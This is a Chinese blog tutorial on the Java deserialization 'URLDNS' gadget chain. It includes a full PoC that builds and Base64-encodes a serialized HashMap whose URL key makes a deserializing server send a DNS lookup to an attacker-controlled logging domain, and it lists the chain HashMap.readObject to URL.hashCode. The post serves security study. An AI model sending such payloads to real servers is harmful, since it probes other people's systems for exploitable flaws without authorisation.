首页 > 编程语言 >java 反序列化 URLDNS 链

java 反序列化 URLDNS 链

时间:2025-01-15 19:43:42浏览次数:1  
标签:java HashMap URL hashCode URLDNS new 序列化 public

常用于探测反序列化漏洞是否存在的一条链,之前调过cc6,这条应该比较简单,自己随便调调就行.

URL

直接来看hashCode方法

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

可以看到通过handler.hashCode(this);这句将自身传入实质是一个对地址的访问过程.我们来看一个例子.

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        URL url = new URL("http://f7wi9u.dnslog.cn");
        url.hashCode();
    }

DNSLOG成功接收到访问请求.
而我们在cc6中调过,可以通过hashmap的hash方法来触发hashCode方法,那么我们可以直接写出poc.

package org.example;

import java.io.*;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap<Object, Object> hashMap = new HashMap<>();
        URL url = new URL("http://1272e09cd4.ipv6.1433.eu.org.");
        hashMap.put(url, null);
        ser(hashMap);
        deser();
    }
    public static void ser(Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("data.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        byte[] bytes = baos.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }

    public static void deser() throws Exception{
        FileInputStream fis = new FileInputStream("data.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
}

也是成功打通了,总结得到gadgetchain如下

Gadget chain:
ObjectInputStream.readObject()
    HashMap.readObject()
        URL.hashCode()

标签:java,HashMap,URL,hashCode,URLDNS,new,序列化,public
From: https://www.cnblogs.com/meraklbz/p/18673639

相关文章

  • Java 大数据自动化数据管道构建:工具与最佳实践(47)
           ......
  • 深挖 Java8的Stream.flatMap:你不知道的流式操作技巧
    flatMap()是Java8StreamAPI的核心方法之一,主要用于将嵌套结构展开并生成一个新的流。它的强大之处在于能够处理复杂数据结构并将其转换为简单的线性流。以下是flatMap()的常见用法和应用场景:1.将嵌套集合展开为单一流用法处理嵌套的List或Set,将其扁平化为单一流。......
  • Java面向对象---多态
    1多态的形式多态是继封装、继承之后,面向对象的第三大特性。多态是出现在继承或者实现关系中的。多态体现的格式:父类类型变量名=new子类/实现类构造器;变量名.方法名();多态的前提:有继承关系,子类对象是可以赋值给父类类型的变量。例如Animal是一个动物类型,而Cat......
  • 【开源免费】基于SpringBoot+Vue.JS在线课程管理系统(JAVA毕业设计)
    本文项目编号T137,文末自助获取源码\color{red}{T137,文末自助获取源码}......
  • 【开源免费】基于SpringBoot+Vue.JS社团管理系统(JAVA毕业设计)
    本文项目编号T136,文末自助获取源码\color{red}{T136,文末自助获取源码}......
  • 【开源免费】基于SpringBoot+Vue.JS企业OA管理系统(JAVA毕业设计)
    本文项目编号T135,文末自助获取源码\color{red}{T135,文末自助获取源码}......
  • Java的概述
    Java的概述Java语言的特点简单性 解释性面向对象高性能面向对象 高性能分布式处理 多线程健壮性 动态结构中立 安全性开源跨平台什么是跨平台性?通过Java语言编写的应用程序在不同的系统平台上都可以运行。原理是什么?只要在需要运行java应用程序的操作系统上,先......
  • Java反射、静态代理、动态代理
    概述反射机制是在运行状态中,对于任意一个类,都能够知道这个类中的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性,这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。Spring、mybatis、动态代理、注解都是使用了反射。优点:可以让......
  • 【附源码】JAVA学生考试系统源码+SpringBoot+VUE+前后端分离
    学弟,学妹好,我是爱学习的学姐,今天带来一款优秀的项目:学生考试系统 。本文介绍了系统功能与部署安装步骤,如果您有任何问题,也请联系学姐,偶现在是经验丰富的程序员!一.系统演示系统测试截图  系统视频演示 https://githubs.xyz/show/338.mp4 二.系统概述 【系统......
  • Java多进程多线程处理详解
    在Java编程中,多进程和多线程是两种常见的并发编程技术,用于提高程序的执行效率和响应速度。本文将详细介绍Java中的多进程和多线程处理,包括理论概述和代码示例。通过本文,你将了解如何在Java中实现多进程和多线程,以及它们在实际应用中的价值和意义。一、理论概述1.多进程与多线程......